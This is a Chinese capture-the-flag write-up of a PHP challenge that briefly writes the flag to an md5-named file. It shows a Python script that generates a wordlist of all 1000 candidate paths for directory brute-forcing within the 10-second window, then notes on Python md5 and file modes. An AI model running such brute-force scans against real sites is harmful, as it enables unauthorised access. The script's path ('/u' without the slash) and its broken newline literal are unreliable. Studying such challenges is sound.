记一道跑脚本的题
进入页面拿到一段代码。
<?php
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
$txt = file_get_contents('flag.php');
$filename = 'u/'.md5(mt_rand(1,1000)).'.txt';
file_put_contents($filename,$txt);
sleep(10);
unlink($filename);
}
代码的意思不难, 访问网站,在10秒里会生成一个目录,flag会写在里面。但是10秒之后这个目录会被删除。首先我们要生成这些些目录,然后拿着这些目录当成字典爆破。
生成目录的代码。
import hashlib
import requests
file = open("C://Users/36521/Desktop/data.txt",'w+')
for i in range(1,1001):
tmp = hashlib.md5(str(i).encode('utf-8')).hexdigest()
url = '/u'+tmp+'.txt'
file.write(url+'
')
file.close()
将生成的目录复制粘贴到御剑的字典里。
然后勾选上那个字典。
刷新页面同时开始扫描。
速度的访问拿到URL就能得到flag。是不是很刺激。
总结一下这道题的点。
Python的MD5加密流程
hashlib.md5(str(s).encode('utf-8')).hexdigest()
Python中的文件权限
open()函数: 直接打开一个文件,如果文件不存在则创建文件,参考链接https://www.jianshu.com/p/c305999c490d
w 以写方式打开,
a 以追加模式打开 (从 EOF 开始, 必要时创建新文件)
r+ 以读写模式打开
w+ 以读写模式打开 (参见 w )
a+ 以读写模式打开 (参见 a )
rb 以二进制读模式打开
wb 以二进制写模式打开 (参见 w )
ab 以二进制追加模式打开 (参见 a )
rb+ 以二进制读写模式打开 (参见 r+ )
wb+ 以二进制读写模式打开 (参见 w+ )
ab+ 以二进制读写模式打开 (参见 a+ )